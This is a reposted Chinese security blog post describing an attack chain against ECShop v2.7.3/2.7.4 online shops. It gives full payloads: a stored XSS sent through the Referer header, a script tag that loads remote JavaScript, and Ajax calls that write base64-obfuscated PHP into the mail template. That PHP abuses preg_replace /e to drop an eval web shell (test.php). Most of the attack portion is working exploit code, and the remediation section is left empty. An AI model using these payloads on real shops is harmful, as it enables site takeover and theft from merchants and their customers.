ecshop过滤不严导致上万网店可被getshell(需一定条件)

暗月博客 2019年11月21日21:25:24评论402 views字数 3502阅读11分40秒阅读模式
摘要

我这里测试的是v2.7.3 和v2.7.4版本,都成功,目测其他版本也可以getshell 1.includes/lib_main.php过滤不严导致XSS

看代码

简要描述:

我这里测试的是v2.7.3 和v2.7.4版本,都成功,目测其他版本也可以getshell

详细说明:

1.includes/lib_main.php过滤不严导致XSS

看代码

code 区域

function visit_stats()  {      if (isset($GLOBALS['_CFG']['visit_stats']) && $GLOBALS['_CFG']['visit_stats'] == 'off')      {          return;      }      $time = gmtime();      /* 检查客户端是否存在访问统计的cookie */      $visit_times = (!empty($_COOKIE['ECS']['visit_times'])) ? intval($_COOKIE['ECS']['visit_times']) + 1 : 1;      setcookie('ECS[visit_times]', $visit_times, $time + 86400 * 365, '/');        $browser  = get_user_browser();      $os       = get_os();      $ip       = real_ip();      $area     = ecs_geoip($ip);        /* 语言 */      if (!empty($_SERVER['HTTP_ACCEPT_LANGUAGE']))      {          $pos  = strpos($_SERVER['HTTP_ACCEPT_LANGUAGE'], ';');          $lang = addslashes(($pos !== false) ? substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, $pos) : $_SERVER['HTTP_ACCEPT_LANGUAGE']);      }      else      {          $lang = '';      }        /* 来源 */      if (!empty($_SERVER['HTTP_REFERER']) && strlen($_SERVER['HTTP_REFERER']) > 9)      {          $pos = strpos($_SERVER['HTTP_REFERER'], '/', 9);//          if ($pos !== false)          {              $domain = substr($_SERVER['HTTP_REFERER'], 0, $pos);              $path   = substr($_SERVER['HTTP_REFERER'], $pos);                /* 来源关键字 */              if (!empty($domain) && !empty($path))              {                  save_searchengine_keyword($domain, $path);              }          }          else          {              $domain = $path = '';          }      }      else      {          $domain = $path = '';      }        $sql = 'INSERT INTO ' . $GLOBALS['ecs']->table('stats') . ' ( ' .                  'ip_address, visit_times, browser, system, language, area, ' .                  'referer_domain, referer_path, access_url, access_time' .              ') VALUES (' .                  "'$ip', '$visit_times', '$browser', '$os', '$lang', '$area', ".                  "'" . addslashes($domain) ."', '" . addslashes($path) ."', '" . addslashes(PHP_SELF) ."', '" . $time . "')";      $GLOBALS['db']->query($sql);//$domain 从$_SERVER取出,只是简单的addslashes一下,没有过滤html标签  }

取出时也没有过滤,于是产生漏洞

我们来构造一下REFERER

访问首页,构造Referer值为'></graph>"><IMG SRC='' onerror=javascript:alert('XSS')>/

提交,如图,

ecshop过滤不严导致上万网店可被getshell(需一定条件)

管理员查看流量分析时触发,如图

ecshop过滤不严导致上万网店可被getshell(需一定条件)

ecshop过滤不严导致上万网店可被getshell(需一定条件)

.打cookie多没意思,咱们getshell

构造Referer值为--></script>/

提交

再次构造Referer值为'></graph>"><script src="http:////127.0.0.1//demo.js"><!--/

提交(src后面的js地址必须用反斜杠)

demo.js内容为

code 区域

Ajax.call('mail_template.php?is_ajax=1&act=save_template', "subject=%C3%DC%C2%EB%D5%D2%BB%D8&mail_type=0&tpl=1&content=%7B%24u%27%5D%3Bassert%28base64_decode%28%27ZmlsZV9wdXRfY29udGVudHMoJ3Rlc3QucGhwJyxiYXNlNjRfZGVjb2RlKCdQRDl3YUhBZ1FHVjJZV3dvSkY5UVQxTlVXeWRoSjEwcE96OCsnKSk7%3D%3D%27%29%29%3B+%2F%2F_var%5B%27%7D%3C%3F" , a, "POST", "JSON");/*写php代码到取回密码邮件模板,会员执行取回密码时执行php代码*/  Ajax.call('../user.php?act=get_password','act=send_pwd_email&user_name=vip&[email protected]', a , "POST", "JSON");/*前台取回密码.这里的vip和[email protected]为前台会员帐号和邮箱,我懒得注册了就用这个测试*/  function a(){  alert('');  }

触发后,会在网店根目录生成一个test.php的文件,内容为<?php @eval($_POST['a']);?>

这里利用的是写php代码到取回密码邮件模板,执行取回密码操作时执行写入的代码

漏洞在includes/cls_template.php的fetch_str()函数

code 区域

function fetch_str($source)      {          if (!defined('ECS_ADMIN'))          {              $source = $this->smarty_prefilter_preCompile($source);          }          $source=preg_replace("/([^a-zA-Z0-9_]{1,1})+(copy|fputs|fopen|file_put_contents|fwrite|eval|phpinfo)+( |/()/is", "", $source);//过滤了部分php关键词                     if(preg_match_all('~(</?(?:/w+|=)?|/?>|language/s*=/s*[/"/']?php[/"/']?)~is', $source, $sp_match))          {                $sp_match[1] = array_unique($sp_match[1]);              for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)              {                  $source = str_replace($sp_match[1][$curr_sp],'%%%SMARTYSP'.$curr_sp.'%%%',$source);              }               for ($curr_sp = 0, $for_max2 = count($sp_match[1]); $curr_sp < $for_max2; $curr_sp++)              {                   $source= str_replace('%%%SMARTYSP'.$curr_sp.'%%%', '<?php echo /''.str_replace("'", "/'", $sp_match[1][$curr_sp]).'/'; ?>'."/n", $source);              }           }                     return preg_replace("/{([^/}/{/n]*)}/e", "/$this->select('//1');", $source);      }

我们可以构造代码到取回邮件模板:

code 区域

{$u'];assert(base64_decode('ZmlsZV9wdXRfY29udGVudHMoJ3Rlc3QucGhwJyxiYXNlNjRfZGVjb2RlKCdQRDl3YUhBZ1FHVjJZV3dvSkY5UVQxTlVXeWRoSjEwcE96OCsnKSk7==')); //_var['}<?

执行取回操作即可绕过过滤执行我们构造的代码

漏洞证明:

修复方案:

你们比我更懂

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
暗月博客
  • 本文由 发表于 2019年11月21日21:25:24
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   ecshop过滤不严导致上万网店可被getshell(需一定条件)https://cn-sec.com/archives/72757.html

发表评论

匿名网友 填写信息